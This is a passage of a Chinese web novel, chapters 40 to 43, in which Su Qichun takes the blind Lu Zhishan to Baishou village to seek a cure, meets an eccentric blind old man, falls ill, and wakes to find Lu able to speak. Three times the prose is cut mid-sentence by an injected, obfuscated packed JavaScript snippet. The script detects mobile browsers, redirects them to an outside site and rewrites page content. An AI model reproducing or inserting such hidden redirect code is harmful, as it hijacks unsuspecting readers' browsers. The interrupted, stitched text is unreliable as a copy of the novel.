越往北走,天就越冷,他们走走停停又过了一日,横亘在眼前的连绵的山终于被跨过,茫茫的天地间,现出一座座低矮的房舍。 苏祈春从陆之山背上下来,牵着陆之山的衣袖往前走。 没走几步,便是一条小路,小路的路口立着一块石碑,石碑周围杂草丛生。 苏祈春伸出小手拨开杂草,仔细辨认石碑上斑驳的字迹。 “白首村” 白首?白头。 她激动地跑到陆之山面前,摇摇他的手,“山哥哥,我们到白头村了,你的眼快要看见了!” 在这样寒冷的天里,陆之山的手心里竟然沁出了满满的汗。 连他也在期待,也在期待可以看见的那一天。 他想看看纤纤是不是和他想的一样可爱。 苏祈春控制不住地往村子里走,催着他,“山哥哥,快点儿!” 白首村人烟稀少,入村的路口坐着个叼烟袋的老人,老人满头白发,头上落满了雪也浑然不知。 苏祈春和陆之山尚未走进,他便偏头看过来,一双眼睛不失光亮。 “爷爷!”苏祈春笑得眉眼弯弯,亲切地叫着那老人,像是早就认识了。 “谁是你爷爷呀?老头子我活了这么多年,什么时候多了一个孙女?快说快说,你是哪来的野孩子?”老人磕磕烟袋里的烟。 苏祈春朝着老人盈盈一拜,笑着说:“爷爷,我是苏家的,学名苏祈春,乳名纤纤。” 40. 大难题 40大难题 “苏家?”老人摸摸下巴上干枯的胡须,沉吟道:“哪个苏家?莫非是湛江县里怀仁堂的苏家?” 苏祈春点头,小跑到老人身前,蹲下身子和他说:“是呀,爷爷,家父是怀仁堂的大夫苏知辛,怎么?爷爷你也认识家父。” 老人从喉咙里滚出一串干哑的笑,“你爹爹我倒是不认识,我认识的是你的祖父,他如今可还健在呀?” 苏祈春没想到这天地是这么的小,她刚来到白首村就遇到了祖父的故人,“祖父不幸,二十年前便溺水去世了。” 老人听了苏祈春的话忽然呆住,像一株枯萎的树木一样静坐在风雪里,好一会儿,才恍然道:“二十年了,老兄竟然也先我一步走了。” 老人的神色愈发黯淡,苏祈春忍不住出声宽慰:“爷爷,你节哀”想了想,她又道:“要是伤心就哭一哭好了。” 风雪中,老人低头看她,笑着说:“谁说我要哭了?这世上能让老头子我哭的人还没出生呢?” 老人像是不服气一般,一下子变得精神矍铄,他摇晃着站起来,顶着满头白雪大咧咧地往里走。 苏祈春拉过陆之山跟在老人后面。 白首村人烟稀少,村子里都是茅草盖成的房子,枯黄的茅草房顶被沉沉的厚厚的雪压着,宛若冰雪世界。 村子是一个圆环状,中心位置种满了白梅,雪花压在梅树的枝头,沉甸甸地,像极了一枚枚白玉簪子。 三个人走了一路,长长短短的脚印落在雪上,很快又被落下的大雪覆盖,了无痕迹。 一路上,苏祈春硬是没瞧见一个人,整个村子荒凉至极,她拉住陆之山的衣袖,贴近他耳语,“山哥哥,你说这里怎么一个人都看不到呀?是不是人都在家里待着?怎么会没有一个人?” 陆之山凝神听着四周的动静,周遭只有雪声,方圆几里,除了他们三个再没有其他人。 诺大的村子竟然没有人,他心中有些担忧,不自觉地握紧苏祈春的手腕,浑身蓄起内力,留在雪上的脚印愈发地深。 风声阵阵,走在前面的老人忽然回头,盯着他们两人,目光如炬。 “爷爷,怎么了?”苏祈春被老人的目光打量得格外不自在,“怎么这么看我们?” “你们?”老人爽朗地笑,他话锋一转,问:“我还没问你们,你们不好好在湛江县待着,来这白首村做什么?” 苏祈春拉着陆之山走到老人面前,认真地道:“爷爷,我们是来求医的。” 苏祈春望向陆之山,“我听说白首村多年前惹了江湖客,全村的人都被毒瞎了,请问爷爷可有此事?” 老人转身往前走,“不错。” 苏祈春眼睛愈发地亮,“那纤纤想知道,你们后来是怎么治好眼疾的?” 苏祈春说得真情真挚,老人却像没听见一样,自顾自地往前走,一直到苏祈春都快要急哭了,他才不耐烦地道:“你让我告诉你我就告诉你,你又不是我孙女。” 老人气得吹胡子瞪眼的,跟个小孩儿一样。 苏祈春被这个老小孩给逗笑了,她笑意盈盈,道:“那爷爷说怎么做?纤纤保证,爷爷说什么纤纤就做什么。” “什么都做?” 苏祈春肯定地说:“什么都做。” 老人显然被惊到了,他停住脚步,目光在苏祈春和陆之山两人脸上徘徊,突然凑近苏祈春,压低声音道:“你快告诉爷爷,你是不是为了你身边的这个臭小子。” “爷爷!”苏祈春笑,山哥哥才不是臭小子,“爷爷不许说山哥哥是臭小子,纤纤不准,哼!” “哎哟!”老人放肆地大笑起来,他独自一人住在这白首村,已经好久没有听到八卦了。 “那我偏说,臭小子臭小子!”老人生怕苏祈春生气打他,边往前跑边说。 苏祈春气得牙痒痒,她追着老人,娇软的声音生气起来也像是撒娇,“爷爷,你不准说!纤纤不许!” 漫天的雪里,小小的人儿和一个小老头子你追我赶,苏祈春脸憋得通红,但就是追不上老人。 但苏祈春才不怕,她有后盾,有帮手,她丢下老人,回头去找山哥哥,故意大声地说:“山哥哥,帮我把那个小老头给抓回来!” 苏祈春话音刚落,陆之山便从一堆杂草里把老人拎了出来,老人舞着四肢乱叫:“杀人了!杀人了!救命啊!” “纤纤!孙女!快让这个臭小子放开我!”老人怒视着陆之山,恨不得要把他吃了。 苏祈春双手抱胸,气鼓鼓地道:“你个小老头,再说一个臭小子试试,纤纤一定不放过你,哼!” “行了行了。”老人一看这两人情比金坚,自知自己再折腾下去只能是自讨苦吃,于是道:“不知这位大侠姓甚名谁?小老头我跟你道歉。” 老人等了一会儿,没听到陆之山答话,苏祈春昂着脸道:“这是我的山哥哥,姓陆名之山。” 老人这才知道这个陆之山是个又哑又瞎的,不过他的武功倒是不错,走路一点儿声音都没有,跟二十年前的江湖客有得一拼。 “你当真肯为了这个小……啊不对,这个陆大侠什么都做?”老人不可思议。 苏祈春没有一点犹豫,“当然是真的,我苏祈春说出的话真的不能再真了。” “行。”老人越来越觉得这个小女郎有意思了,“那你说说你最擅长什么,最不擅长什么。” 苏祈春可真被问住了,若说她最擅长什么,那一定是治病救人,但要说她不擅长什么…… 她歪着头想啊想啊,想起她有一次自告奋勇去做糯米糕,结果把锅给炸了的事…… 她只是想起来就觉得尴尬,那想必就是她最不擅长的事情了。 老人一听就乐了,“那好啊,那你就去给我坐一桌满汉全席,要是做好了,我就把治眼的秘密告诉你,” 满汉全席? 这小老头的胃口可真大,这个难题也真够大的。 这地方鸟不拉屎,她上哪去弄这满汉全席去,她想了会儿,忽地眨眨眼,道:“爷爷,你就等着吧!” 说完,苏祈春欢天喜地地跑进了厨房,陆之山下意识地跟过去,却被老人一把拦住,“臭小子,你不准去,乖乖在这里陪着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13080029|132978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老头子我听雪喝茶。” 可老人没听一会儿雪就坐不住了。 厨房位于小院的东北角,屋檐下挂满了冰棱子,本是美妙绝伦的画面,可屋子里却冒出一阵阵黑烟,以及,一阵阵的爆炸声。 老人跑到厨房门口,又被烟熏得直往后退,呛得不住地咳嗽。 “你这个纤纤!”老人缓了好一会儿才能说话,“你怎么把我的厨房给炸了?” “老头子我的这个厨房可陪了我许多年,你可不能给炸了!”老人急得瘫坐在地上,哭声震天响。 “轰——”厨房里又传来爆炸声,连着苏祈春剧烈的咳嗽声也一并传出来。 老人枯萎的脸上老泪纵横,可惜的是他不能进去阻止苏祈春,他更无奈地捶地。 好在此时,一个白色身影闪过,他身旁掀起一阵风,他连忙道:“臭小子,快去拦住她!快去!” 不待他说,陆之山已经掠进浓烟弥漫的厨房,周遭尽是尘埃的颗粒,陆之山刚一进去,就吸了一嗓子,密密麻麻的烟灰附着在胸腔上,硌得他生疼。 可他却顾不上疼,他的脑子里回荡着:连他都这样疼,苏祈春该有多疼? 陆之山穿过层层的迷雾,头也不回地往前冲,浓重的黑暗里,他听不到小女郎的声音,他心跳不断地空拍加速,用尽全身力气去听小女郎的响动。 他几乎要忍不住大声地喊,他想找到苏祈春在哪里。 灶台里的柴火还在燃烧,陆之山摸索到一口破烂的大锅,想也不想就将它扔到一边,烧红的铁烫得他手心一阵的疼。 可是小女郎还是找不到,他开始失控,浑身颤抖,火海里,熟悉的害怕和绝望吞噬着他,他的脑中闪过一幕幕景象。 到处都是火。 到处都是血。 他一个人握着剑,面对着血海尸山,鲜血从剑尖滴下。 不远处,一个手握羽扇的人缓步朝他走来,拍着他的肩膀,告诉他,“做得好。这才是你该做的事。” 可他的心却在疼,却在咆哮,他分明地感受到,那些喷薄欲出的撕心裂肺。 周围的浓烟越来越重,越来越浓,他的呼吸也越来越急促,可他还记得,他还要找到苏祈春,他不能倒下。 “山哥哥……”小小的声音从角落传出来,他的手中多了一只软软的手,他听见小女郎呜咽的声音,“怎么办呀?这里好呛。” 陆之山的意识被一点点拉回,他抱起苏祈春,没命地往外跑去。 刚出门,老人便又大叫起来,“哎哟!造孽呀!老头子的厨房可怎么办呀!” “你个可恶的小女郎,我让你做饭,你怎么把我的厨房给炸了?” 苏祈春从陆之山怀里下来,不好意思地摸摸头,“爷爷,纤纤都说了,纤纤不擅长这个,爷爷你别生气,纤纤有好吃的给你。” 老人一脸狐疑,都能把厨房炸了,还能做出什么好吃的? 苏祈春顾不上擦拭脸上的黑灰,笑吟吟地扶着老人坐下,又从怀里拿出一块糕点,递给老人。 “爷爷,你尝尝,这个保证比满汉全席还好吃!” 41. 白梅林 41白梅林 老人将信将疑地拿过糕点,还未待入嘴就听见小女郎在他耳边说:“爷爷,你闭上眼闻,有没有闻到一股沁人的清香?” 老人仔细地嗅,冰冷的白雪地里,好像是透着些香气。 “那香味是不是很像梅花的香味?” 老人深吸一口,还真是,“嗯……是有点儿梅花的香味儿。” 苏祈春吃吃地笑,“爷爷,不光闻起来,吃起来也是呢。” 老人心里嘀咕,这破糕点摸起来硬硬的,一点儿都不柔软,能好吃到哪去? 他犹豫着咬了一口,耳边还响着苏祈春期待满满的话语,糯米糕入口即化,甜腻的滋味在唇舌之间蔓延。 苏祈春整个心都提了上来,她眼睛一眨不眨地盯着老人,小心翼翼地问:“怎么样?” 她不相信有人能抵抗得了糯米糕的味道,绝不! 老人慢慢地咬了两口,脸上露出惬意的笑容。 苏祈春放下心来,昂着脸笑,满脸都是小骄傲,“爷爷,纤纤就说这糕点比满汉全席还好吃吧!” “嗯。”老人的声音有些闷,他睁开眼,笑得很灿烂,可下一瞬,他捂着肚子把嘴里的糯米糕全吐出来了。 “爷爷!你干嘛?”这么好吃的糯米糕全被毁了,这也太暴敛天物了! 老人叉着腰,气得满脸通红,“老头子我一把年纪,吃不了甜,你是想毒死我还是害死我啊?” “爷爷……”苏祈春怎能想到他吃不了甜?不过看他这副凶巴巴的模样,苏祈春不得不躲在陆之山身后,害怕得不敢出来,“纤纤又不知道你不能吃甜。” “你还有理了是不是?”老人佝偻着身子,扬起身边的树枝就要来揍苏祈春。 苏祈春吓得沿着院子跑了十来圈,硬是靠着年轻的身体跑赢了老人。 老人气喘吁吁地瘫坐在石椅上,摇着手道:“不跑了不跑了。” 苏祈春也累得动不了了,她撑着陆之山的手才没倒下,但她还不忘了那件事,她断断续续地说:“爷爷,这下你能告诉我治疗眼疾的法子了么?” 老人累得上气不接下气,浑身的骨头都跑得快要散架了,他话不成句地道:“不行……不行,你还没给我做满汉全席呢?” 苏祈春真佩服这小老头,还想着满汉全席呢。 她艰难地挪步走到老人身边,擦擦他额上的汗,满脸渴求地道:“爷爷,纤纤求你了,你要是想吃满汉全席,我带你回湛江县,保证让你吃个够,求求你告诉我吧。” 山哥哥的病真的不能再等了。 老人瞟了她一眼,身子转个方向不理她。 苏祈春也跟着换了个方向,继续求他,“那或者,你认我做干孙女,我替你养老送终,怎么样?” 老人没说话。 苏祈春眼睛转了转,软的不吃,她就来硬的。 她站起身,唤来陆之山,“山哥哥,这个老头子敬酒不吃吃罚酒,你现在立刻马上,把他的厨房他的屋子全烧了!快去!” 陆之山闻言便走。 老人听了这话,一下子就炸了,他也不知哪来的力气,一跳三尺高,“臭小子你站住!” “不许站!他不说就把他的东西全烧了!”苏祈春双手抱在胸前,一副胸有成竹的模样。 老人怎能不知他俩是一伙的,他说什么都没有用,他嘴一撇,嚎啕大哭起来,“你个小女郎……你太欺负人了……” 苏祈春缓缓地走到老人面前,可怜地说:“爷爷,只要你告诉纤纤,纤纤就不烧了,纤纤还给你养老送终。” 老人还想挣扎,但被小女郎凶狠的目光止住,他可不想自己的家被烧了,那比杀了他还难受,而且以他所见,他们还真能干出来这种事。 人在屋檐下,不得不低头,偶尔认怂并不算输,他想罢,点了点头,补充道:“不过,你得待在白首村给我养老送终。” 苏祈春迟疑了一瞬,她是家里的独生女儿,爹爹和娘亲她都需要照顾,可是山哥哥…… 她望了望陆之山的背影,肯定地说:“好。纤纤就在白首村给你养老送终!” 老人闻言,嘴角泛起一抹笑,这笑和他方才的肆意顽闹毫不相同,而是一种深深的,发自内心的笑,包含着无尽的深意与欣慰。 苏祈春跟着老人一起朝村子中心走去,陆之山一直默默地护在苏祈春身后,手心聚拢的内力从未停歇。 老人回望一样陆之山冰块儿似的脸,心里咕哝,这个臭小子真是幸福。 就跟他当年一样,可惜…… 可惜快乐的时光总是过的很快,老人脸上蒙上一层阴霾。 几人在一片白梅林前停下来。 满眼的白与梅花的香交融在一起,清冽又芬芳。 老人笑吟吟地指了指,“治眼的秘密就在这里,你们自己去找吧。” 苏祈春顺着老人手指的方向望过去,举目全是白梅,哪有其他的东西? “爷爷,这哪有治眼的秘密呀?这不就是一片白梅林么?” 苏祈春想,一定是这个小老头又在想什么坏主意! 老人笑着不说话。 苏祈春拧眉,自顾自地往白梅林深处走去,她要找到治眼的秘密,一定要! 陆之山听见她的脚步声,想要跟上去,却被她止住,“山哥哥,你留在这里,好好看着我爷爷。” 她可不能让这个小老头跑了。 苏祈春走后,漫天的风雪越来越大。 陆之山内力运转全身,听着梅林中的动静,“嗖”的一声,一根树枝朝他袭来,他伸手格住,扭头对着来人。 老人嘿嘿一笑,“你这臭小子功夫真不错,跟当年第一楼的楼主有得一比,不过可惜呀。” “可惜什么?”陆之山缓缓开口,冷冷地对着他。 “你……”老人语气中带着诧异,“你会说话?你不是哑巴?” 冰雪里,陆之山宛若一尊冰雕,“我当然不是哑巴,但你却是个瞎子,对么?” 老人沉默了一会儿,笑道:“原来你早就知道我是个瞎子了。” “因为我也是瞎子,只有瞎子才最懂瞎子。”陆之山转身面向梅林,“瞎子看不到,就只能靠听,所以你一开始并没发现我在,直到后来我用了内力,你才发现。” “你这瞎子,当得倒算称职。”老人摸着胡子笑几声,他还欲再笑,一根树枝便放在他的脖颈上。 陆之山面无表情地道:“所以你到底想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13097495|132978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干什么?” 面对着陆之山的威压,老人也不害怕,“老头子我不想干什么,倒是你,我孙女对你这样好,为了你甘愿留在白首村给我养老送终,你却骗着她,瞒着她,你又想干什么?” 风雪越发的大,没一会儿就将两人的头又铺上一层白,陆之山的手冻得发抖。 “不用你管!”陆之山手中力气加重,“你自己的病都治不好,你怎么敢说你有治病的法子的?” 老人继续笑,“我可没说我有。” “你……” 老人似乎话里有话。 陆之山忽然意识到什么,丢下树枝,清白身影直往白梅林里冲去。 周围满是梅香,浓浓的,重重的,一棵棵梅树在风雪中静立不动。 瞎子看不到,只能靠听。 但他听不到树木的声音,于是一次次地被撞,一次次地跌倒,最后弄得自己鼻青脸肿的,原本冷白的皮肤留下一道道疤痕。 可他还是要往里走,他凝聚内力,听着四周的动静,直到他听见一阵小小的哭声。 他来到苏祈春身边,蹲下身子听她的话。 苏祈春起初只是在啜泣,在看到陆之山的一霎,委屈得大哭起来,她抱着陆之山的脖子,眼泪淌在他的胸膛。 “山哥哥,快带我走吧,这里没有药,没有药……怎么办……” 怎么办啊?她没有找到药。 出了梅林,苏祈春正要和老人理论一番,却不见老人的踪影,她攥紧拳头,小小的人儿边流泪边生气,“不能让他跑了!我一定要找到他!我要找他问个清楚!” 好在他们很快就找到了老人,老人没有跑,而是在方才的屋子里等他们。 没有燃灯,屋子里一片漆黑,但映着屋外的雪光,还可依稀望见桌子上摆放的一排排牌位。 苏祈春进来时,老人正跪着烧香,听见苏祈春进来的声音,他说:“回来了。” “爷爷。”苏祈春不知道为什么老人要让她去那梅林,去看那一座座墓冢,“你怎么不点灯?”她试探地问。 老人轻轻一笑,扭头看她,“纤纤已经知道了,不是么?” 老人眼睛的位置处是黑黑的,像两个无底的深井一般,看不到一丝光亮。 看不到的人当然不用点灯。 苏祈春侥幸的希望被打碎,她不愿相信地哽咽,“爷爷……你的眼……” 老人磕完头,从怀里拿出两个眼球大小的东西,递给苏祈春,“这可是你祖父替我做的,看看,是不是跟真的一样。” 那两个假眼球黑白分明,倒真的能以假乱真。 苏祈春的脚步不稳,她踉跄后退几步,撞在身后的门板上,泪水不受控地掉下来,“爷爷……”她摇头,“你不能骗我……” 老人叹口气,“纤纤,你也看到了,那些人都是为了治眼才早早离世。像爷爷这样多好,戴个假眼睛,也跟正常人没啥区别,还能多活几年,你说是不是?” “可是我不要这样!”纤纤不要这样,纤纤要的是山哥哥的眼睛完全好了。 “爷爷,你知不知道纤纤有多想山哥哥的眼睛好起来呀!”短短的一句话,她竟要用全身的力气去说,因为她实在已经没有力气了。 42. 睡一觉 42睡一觉 大颗大颗的泪珠在苏祈春的脸颊上滚落,她的眼一哭就红,老人和陆之山虽然看不见,却也能感受到苏祈春泪水下面喷薄的痛。 “爷爷。”苏祈春艰难地走到老人的面前,跪在地上,摇着老人的胳膊,“求求你告诉纤纤好不好?纤纤一定会为你养老送终的,你让纤纤做什么都可以,求求你了。” 苏祈春的声音被泪水阻塞得越来越低,曾经许下的要给陆之山治病的愿望,不知在何时,已然变成了一种执念,要她非要做到不可,哪怕是不计代价。 老人听得心疼,年轻的人总是觉得自己可以做到任何事情,却不知道所有的事情背后都有代价。 一如他当年。当年的他拿到药后以为自己可以改变一切,可最后还是谁也没救下来。 若不是他还有些功夫傍身,恐怕如今他也会在那坟墓里。 他枯槁的手伸过去,扶起苏祈春,长叹一声,“听爷爷的,不要再找什么药了,爷爷的那些药已经跟着那些死人埋进了坟墓里。况且,瞎了也没什么,你的山哥哥功夫那么好,就算是瞎了也不见得比正常人差。” 怎么能和正常人一样?她的山哥哥看不见山,望不到水,举目抬眼都是黑暗,她曾一个人在漆黑的房间里待过,她知道那一定很可怕。 而且,山哥哥看不见,就看不到她了,山哥哥说过,他会好好治病,因为他最想要看到纤纤的样子。 苏祈春摇头,不肯放弃,“爷爷,那你一定知道药方的对不对?你告诉纤纤好不好?” 她此时脆弱得像是一个溺水的人,拼命地想要抓紧水面上的浮木,祈求着浮木可以救她。 但老人却不给她这个机会,硬生生地将那唯一的浮木打破,“纤纤。”老人不忍看她,“二十年了,那些药和药方都已被我毁了,这个世上没人能治好陆之山的眼了,你别再挣扎了。” 别再挣扎了…… 她苏祈春唯一不会做的事就是不挣扎,凭什么要她放弃?她说了要治好山哥哥的病就是要治好。 可是一次次的失败终究在她身上留下了烙印,就像青铜雕像上因时光而沾染的刻痕,总是那么深刻,那么明显。 她突然觉得好累,手中抓着的木板变成一把碎屑,最终还是不能承载她全身的重量,她不可遏制地沉沉坠下。 冬日里的河水格外的冰凉,细细密密地钻入她的骨髓当中,急而烈地噬咬她的血肉,惹得她浑身都在痛。 但最痛的还是胸腔,那里血肉最薄,寒冷肆无忌惮地涌上来,没有一丝保护地侵入她的心脏,血液。 她好冷,真的好冷,她真的好想有个人能拉她一把,告诉她,你不是孤单一个人的。 眼前的光亮终于被无边的水吞没,她的周围都是水声,她面无表情地望着渐渐暗下来的水面,心跳都快停了。 “扑通” 平静水面被搅乱,波浪一圈圈向周围扩散,苏祈春盯着突然跳下来的人,一目不眨。 白得透明的一张脸在水里也一如既往的清隽,让人忍不住地想,他是哪家的少年郎,姓甚名谁,家住何处。 一定有数不尽的小女郎想要认识他,嫁给他。 河水滑过他的脸,激起的水花渐渐撕扯下他眼上的白布条,他紧闭的眉与目一点点在苏祈春眼前浮现。 苏祈春像看到了什么可怕的事情一般挣扎,周围的水被她的动作搅得斑驳,她的身子更深地沉下去。 可眼前的人就如她一般不死心,深潜下来,抓住她的手,在她的掌心写:没事的,山哥哥看不见也是可以的。 宽慰的温度顺着一撇一捺传进来,她的心在一瞬间有了一点点的暖。 可她不要陆之山委屈自己,就算他真的可以忍受看不见的痛苦,她也不行,她要做到,陆之山越是不想让她为难伤心,她就越不忍心,就越想要治好他。 所以她一定不要不挣扎。 所以她不能就这么沉下去。 透进水里的光越来越暗,苏祈春静静地看一眼陆之山,忽然反握着陆之山的手,借着他的力量一点点向上,一点点游上来,哪怕她已经筋疲力尽,哪怕她真的走不动了。 天更加地沉下来,苏祈春回过神后,望了望身边的陆之山,喃喃地说:“山哥哥……” 陆之山张了张嘴,还未待说话,苏祈春的头便垂了下来,她实在太累了。 小院里另有两间卧房,迷迷糊糊之间,苏祈春感觉到自己被放在了一个极温暖的地方,身下是云朵一样的棉花,柔柔的,软软的。 时不时,有人推门进来,坐在她床边,一坐就是一整天,也不和她讲话,只是安静地坐着,看着她,守着她。 到了吃饭的时间,他又会拿过来一大堆吃食,其中有一种她最喜欢,她还记得,那个好吃的叫糯米糕,是全天下最好吃的东西。 每次喂她吃糯米糕的时候她都有种想要睁开眼大吃一顿的冲动,可是她好累,她用尽全身力气都没办法醒过来,再后来,她放弃了。 连着不知道睡了多少日,在梦里,她能梦到各种各样的事情,有的时候会梦见天狗吃掉了月亮,世间一下子变得满是黑暗。有的时候茯苓又会出现在她的梦里,说她只知道跟山哥哥玩,她则会反驳,才没有! 不知怎么,说到山哥哥,她的心一揪一揪地疼,鼻子也酸酸的,泪水哗啦哗啦地往下流。 她强迫自己想点儿别的,又想到了娘亲,梦里面,娘亲的病已到了药石无医的地步,爹爹说,娘亲只剩下三天的寿命了。 她偏不信,一遍遍地把脉,一遍遍地翻医书,娘说,放弃吧,都是命。 可她这辈子就是不信命。 她记得,梦里的天特别地暗,她走在觉明院里,只觉得身边尽是无尽黑暗,唯一明亮的只有她的眼睛,哪怕这眼睛里也藏着害怕。 再后来发生了什么她就记不得了,她只知道那一定是不好的记忆,不然她不会那么害怕。 好在身旁的少年一直在,每每她做了噩梦,在梦里呓语,少年总会贴近她,源源不断地往她的手心输送着暖流。 每当此时,她总会格外地安心。 就这样,不知过了多久,有一天,她忽然听到外面风雪的声音。 巨大的风雪吹打着窗纱,“砰砰”地响,有好几次她都以为整个屋子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13114618|132978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都要被风雪掀翻。 还好还好,一切都没有发生,房子是好好的,她也是。 只是身旁的这个少年好像受了重伤,她已经闻到了好多次血腥味儿了。 她开始想,这个少年到底发生了什么?是被仇家追杀了?还是摔伤了? 根据她的观察,少年的伤很严重,因为少年已经连这几日没给她暖手了,她觉得好冷好冷啊。 这么想着,她又沉沉睡着,只是这一次,她睡得一点儿都不好,她心里好像有个疙瘩,她忍不住地猜,少年究竟是怎么了? 血腥味一天一天地浓重,终于有一天,屋子里不再有血腥味,而是满屋的梅花香。 她还听到了一个苍老的声音,那声音说:“你这臭小子,既不怕死又知道讨女孩子欢心,可比老头子我强多喽。” 讨女孩子欢心?她的八卦之心被勾起来了,竖着耳朵去听,可是听啊听啊,再没听到任何声响。 她抱着这个心思,心里像被小奶猫的爪子挠了一般,痒痒的,就想知道发生了什么。 就这样,在好奇心的驱使下,她忽地睁开了眼。 破旧发黑的帷帐悬在头顶,陈旧发霉的味道顺着空气爬过来,苏祈春偏脸,环视这间小屋。 屋里家具不多,只有一张桌子,几条椅子,只是布置的人心思巧妙,将一株株白梅花悬于室内,整个屋子都透着若隐若无的花香,将那陈腐之味都一一掩盖。 她挣扎着坐起身,一眼望见放在床边的一张小桌,桌子上还残留着药汁的痕迹,她起身欲走,又瞧见桌角处的一朵梅花。 不仔细看,会以为梅花开在桌上,但其实是用内力将梅花印在了桌角上。 苏祈春不由得感叹布置之人的精巧用心。 正愣神之际,屋门忽然打开,苏祈春望过去。 屋外的风雪已然停歇,少年一袭白衣从天光中走来,眉目眷秀,落雪青松一般。 他手里端着一个盘子,盘子里放着一个碗,碗里放着不知道什么,里面冒着滚滚的热气。 苏祈春的心又开始一揪一揪地疼,她看着他,说不出话。 陆之山像是知道她醒了,嘴角露出些压不住的笑,他把东西放在桌上,面对着她,安安静静地等她。 苏祈春苦笑着,一步步走到桌前,望了一眼碗里的东西,鼻子蓦地酸起来。 她坐下来,挑着碗里的面条往嘴里塞,泪水啪嗒啪嗒地掉进碗里,她这才知道,原来泪水真的是咸的。 陆之山则坐在她身边,看她吃得差不多了,从怀里拿出一个木人,递给她。 怔了片刻后,苏祈春抚摸木人的眉目,木人的眼是圆圆的,忽灵忽灵得好像随时都会眨,再往下,木人的嘴角翘起来,像在笑。 离远了瞧,木人叉着腰,满脸的傲娇,又仿佛在说:“哼!” 苏祈春仔细地看,好一会儿,她才强忍着泪水道:“山哥哥刻的纤纤,一点儿都不像。” “真的吗?” 一个偏冷的声音传过来,像玉珏砸碎在山涧中一样,清脆地砸在苏祈春耳中。 苏祈春攥紧手中的木人,扭头看过去—— 43. 长寿面 43长寿面 陆之山眼上依旧蒙着白布条,脸也和从前一样白的透明,眉毛仍然像山峰一样锋利浓烈,只是他的嘴角带着一抹笑。 这笑容就好像终日落雪的雪山上忽然出现的一道暖阳,又像是连日下雨的天空里挂起的七色彩虹。 苏祈春呆在原地,连要说什么做什么都不知道了,只是怔怔地看着眼前人,耳边分明没有声音,却好像有雷声轰隆。 陆之山抽出她手中的木人,细细地摩挲,皱着眉道:“哪里不像了?是眼睛不像?还是嘴巴不像?” 这木人可是他花了三天的时间才刻出来的,为了它,他的手指上不知道留了多少伤口。 可苏祈春压根儿没听到他说的话,她心里只想着,她是不是听错了? 她心如擂鼓,颤着手握住陆之山的手腕,声音一直在抖,“山哥哥……你……你能说话了?” 她真的不敢想象,她的山哥哥竟然能说话了? 她忐忑地等着陆之山的回答,这期间的每一分每一秒对她来说都是折磨,她连动也不敢动,她太害怕一点点变化就会打破这易碎的幸福。 山哥哥已经看不见了,如果能说话了也是好的。 她已经没有心思去思考,为什么陆之山突然会说话了?她只是想,要是山哥哥能说话了就好了。 陆之山也有犹豫,也有害怕,他不知道自己突然会说话了,苏祈春会怎么想,她会不会因此怀疑他的身份? 但在一天,苏祈春昏迷之时,他忽然从苏祈春的嘴里听到了自己的名字,小女郎大声地喊:“我不要山哥哥看不见!我死也不要!” 从那时起,他就什么都不顾了,他只想苏祈春开开心心,他想,看到他会说话,苏祈春一定很开心。 而他最想做的,就是让纤纤开心。 苏祈春紧张得身子都僵硬了,陆之山握住她的手,稀薄的内力从手心涌出,一点点地流向苏祈春,“是啊,山哥哥会说话了。” 苏祈春浑身颤抖,开心得简直要跳起来,她猛地扑到陆之山的怀抱里,圈住他的脖颈,笑着说:“山哥哥,纤纤好开心……好开心……你竟然会说话了!山哥哥竟然会说话了!” 她恨不得告诉全天下的人,她的山哥哥会说话了,她好幸福,好开心。 她一定是这人世间里最幸运最幸福的人了。 她要感谢上天,感谢路边的花,天上的鸟,散了又合的云,落下又升起的日月,在这巨大的喜悦里,她无端地想感谢所有,感恩所有。 她想着想着,泪水无声无息地滚下来,又哭了起来,不过这次是喜悦的泪。 陆之山平静的表面藏满炙热,他轻轻拍着苏祈春的背,用尽全力才堪堪压住心里的澎湃,他的心贴着苏祈春的,猛然狂跳,那声音简直比雷声还要响。 苏祈春想到什么,抹抹眼泪,捧着陆之山的脸,眸底的光亮了又亮,“山哥哥,你快喊一声纤纤,纤纤做梦都想听到山哥哥喊纤纤的名字。” 陆之山笑笑,脸上少见地染上了点儿红晕,喉咙突然干涩不已,他张了张嘴,什么也说不出。 苏祈春急了,双手捏住陆之山的两颊,害得陆之山的嘴只能撅着,“山哥哥,你快说你快说,纤纤想听!” 陆之山无奈地摇摇头,伸手按住苏祈春的手,试探地发出声音,“纤纤?” 苏祈春呆了一瞬,一点儿反应都没有,陆之山正奇怪间,苏祈春忽地猛笑起来,笑声穿云破石,响彻天际。 陆之山一头雾水,不知道发生了什么。 